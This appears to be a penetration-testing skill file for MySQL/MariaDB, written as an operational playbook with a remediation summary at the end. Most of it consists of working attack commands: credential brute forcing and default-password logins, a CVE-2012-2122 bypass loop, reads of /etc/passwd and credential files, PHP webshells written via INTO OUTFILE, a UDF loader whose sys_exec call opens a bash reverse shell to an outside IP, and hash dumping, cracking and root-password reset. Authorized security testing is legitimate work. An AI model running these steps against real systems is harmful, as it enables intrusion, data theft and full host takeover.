| name | pentesting-mysql |
| description | Testing MySQL / MariaDB database services (default port 3306) for empty/default root credentials, authentication-bypass and version CVEs, FILE-privilege data theft, and the INTO OUTFILE webshell / lib_mysqludf_sys UDF remote-code-execution primitives during authorized engagements. |
| domain | cybersecurity |
| subdomain | network-services-pentesting |
| tags | ["penetration-testing","network-services","database","mysql"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Pentesting MySQL (port 3306)
When to Use
- Default port
3306/tcp; nmap/banner shows mysql, MariaDB, or a greeting like 5.7.x/8.0.x/10.x-MariaDB.
- MySQL is a plain-text protocol (unless TLS is forced), so native clients and NSE scripts interact directly.
- Use when you have network reach to the DB port, recovered creds to reuse, or local shell access to a host running
mysqld (sockets, debian.cnf, ~/.my.cnf).
Quick Enumeration
nmap -sV -p 3306 --script mysql-info,mysql-empty-password,mysql-enum,mysql-variables,mysql-databases,mysql-users,mysql-dump-hashes,mysql-vuln-cve2012-2122 <IP>
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS <IP>; run; exit'
mysql -h <IP> -u root
mysql -h <IP> -u root -p
mysql -h <IP> -u root@localhost
Critical: Checks Most Often Missed
- Empty / default root password — the #1 miss. Try
root with empty password and common defaults (root:root, root:toor, root:password).
- How to CONFIRM:
mysql -h <IP> -u root -e 'select user();' returns a session; nmap --script mysql-empty-password -p3306 <IP> reports "account has empty password".
- CVE-2012-2122 auth bypass — repeated logins with any password succeed ~1/256 of the time on vulnerable builds.
- How to CONFIRM:
for i in $(seq 1 1000); do mysql -h<IP> -uroot -pwrong 2>/dev/null && break; done, or nmap --script mysql-vuln-cve2012-2122 -p3306 <IP>, or the mysql_authbypass_hashdump module.
- FILE privilege → arbitrary read + webshell write (INTO OUTFILE) — a user with
FILE privilege and empty/permissive secure_file_priv can read server files and drop a PHP shell into a writable webroot.
- How to CONFIRM:
SELECT user,file_priv FROM mysql.user WHERE file_priv='Y'; and SHOW VARIABLES LIKE 'secure_file_priv'; (empty = anywhere). Then SELECT load_file('/etc/passwd'); returns content, or SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php'; lands a shell.
- mysqld running as root → UDF RCE (lib_mysqludf_sys) — load a
.so/.dll into the plugin dir and create sys_exec to run OS commands as the DB service account.
- How to CONFIRM:
SHOW VARIABLES LIKE '%plugin%'; is writable and select user,Super_priv from mysql.user where Super_priv='Y';; success = select sys_exec('id > /tmp/o'); writes the file.
- Rogue-server arbitrary file read — if a client connects out to you with
LOCAL INFILE enabled, a malicious MySQL server reads client files. JDBC Connector/J <= 8.0.32 propertiesTransform gadget gives client-side RCE.
Workflow
Step 1: Enumerate (version, config, capabilities)
nmap -sV -p3306 --script mysql-info,mysql-variables <IP>
ls -l /run/mysqld/mysqld.sock /etc/mysql/debian.cnf ~/.my.cnf 2>/dev/null
cat /etc/mysql/debian.cnf
Step 2: Authenticate (empty/default creds, brute force)
mysql -h <IP> -u root
mysql -S /run/mysqld/mysqld.sock -u root
hydra -L users.txt -P passwords.txt <IP> mysql
nxc mysql <IP> -u users.txt -p passwords.txt
medusa -h <IP> -u root -P passwords.txt -M mysql
Step 3: Exploit / Extract (dump data + FILE/UDF RCE primitive)
select version(); select user(); select @@secure_file_priv;
show databases; SELECT * FROM mysql.user;
SELECT user,file_priv,Super_priv FROM mysql.user;
SELECT load_file('/var/lib/mysql-files/key.txt');
SELECT load_file('/etc/passwd');
SELECT '<?php echo shell_exec($_GET["c"]);?>' INTO OUTFILE '/var/www/html/back.php';
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php';
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES(load_file('/tmp/lib_mysqludf_sys.so'));
SHOW VARIABLES LIKE '%plugin%';
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
Step 4: Post-access / privilege escalation / pivot
- Dump
mysql.user hashes and crack offline: Hashcat mode 300 (mysql_native_password), 21100 ($mysql-sha2$ / MySQL 8), John --format=mysql-sha2.
- Read hashes from disk:
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD.
- Look for
auth_socket/unix_socket plugin on privileged users — an OS user becomes that DB user over the socket with no password.
- Change root password if you have write to
mysql.user: UPDATE mysql.user SET authentication_string=PASSWORD('x') WHERE User='root'; FLUSH PRIVILEGES;
- Reuse recovered DB creds /
debian.cnf against SSH, SMB, web apps.
Key Concepts
| Concept | Description |
|---|
| FILE privilege | Per-user grant required for load_file(), INTO OUTFILE, INTO DUMPFILE. |
| secure_file_priv | Restricts file I/O to a directory; empty = anywhere, NULL = disabled. |
| INTO OUTFILE | Writes query output to a new file (cannot overwrite) — webshell drop primitive. |
| UDF (lib_mysqludf_sys) | User-defined function loaded from a .so/.dll in @@plugin_dir giving sys_exec/sys_eval OS command execution. |
| auth_socket / unix_socket | Auth plugin mapping an OS user to a DB account over the local socket with no DB password. |
| LOCAL INFILE / rogue server | A malicious MySQL server can read files from a connecting client. |
| CVE-2012-2122 | Memcmp auth bypass; any password works ~1/256 attempts on vulnerable versions. |
Tools & Systems
| Tool | Purpose |
|---|
| mysql / mariadb client | Native interactive client for auth, enumeration, file/UDF primitives. |
| nmap NSE | mysql-info, mysql-empty-password, mysql-enum, mysql-users, mysql-dump-hashes, mysql-vuln-cve2012-2122. |
| Metasploit | scanner/mysql/mysql_version, mysql_authbypass_hashdump, mysql_hashdump, admin/mysql/mysql_enum, mysql_schemadump. |
| netexec (nxc) | nxc mysql <IP> -u users -p passwords for spraying/auth. |
| hydra / medusa | Credential brute force against MySQL login. |
| sqlmap | Bundles lib_mysqludf_sys payloads (locate "*lib_mysqludf_sys*"). |
| Hashcat / John | Offline cracking of dumped mysql.user hashes (modes 300 / 21100). |
Common Scenarios
Scenario 1: Empty root → data theft
nmap --script mysql-empty-password confirms root with no password. mysql -h<IP> -uroot connects; SELECT * FROM mysql.user dumps hashes and SHOW DATABASES exposes application data with reusable secrets.
Scenario 2: FILE privilege → webshell RCE
The app DB user has FILE and secure_file_priv is empty. SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php' drops a shell; http://<IP>/x.php?c=id returns www-data.
Scenario 3: Root-run mysqld → UDF reverse shell
mysqld runs as root and the tester has a privileged login. Loading lib_mysqludf_sys.so into the plugin dir and calling sys_exec yields a root reverse shell on the host.
Output Format
## MySQL Finding
**Service**: MySQL
**Port**: 3306/tcp (MariaDB 10.3.23)
**Severity**: Critical
**Finding**: Empty root password with FILE privilege enabling webshell write
**Evidence**:
- nmap mysql-empty-password: "root account has empty password"
- `mysql -h<IP> -uroot -e "SELECT user,file_priv FROM mysql.user"` -> root file_priv=Y
- `SELECT ... INTO OUTFILE '/var/www/html/x.php'` succeeded; /x.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated database access plus arbitrary file write to the web root yields remote code execution.
**Recommendation**:
1. Set a strong unique root password and remove anonymous/empty accounts.
2. Bind MySQL to localhost or restrict 3306 by firewall/source IP.
3. Set `secure_file_priv` to a non-web directory and revoke FILE from app users.
4. Run mysqld as an unprivileged account; patch to address CVE-2012-2122.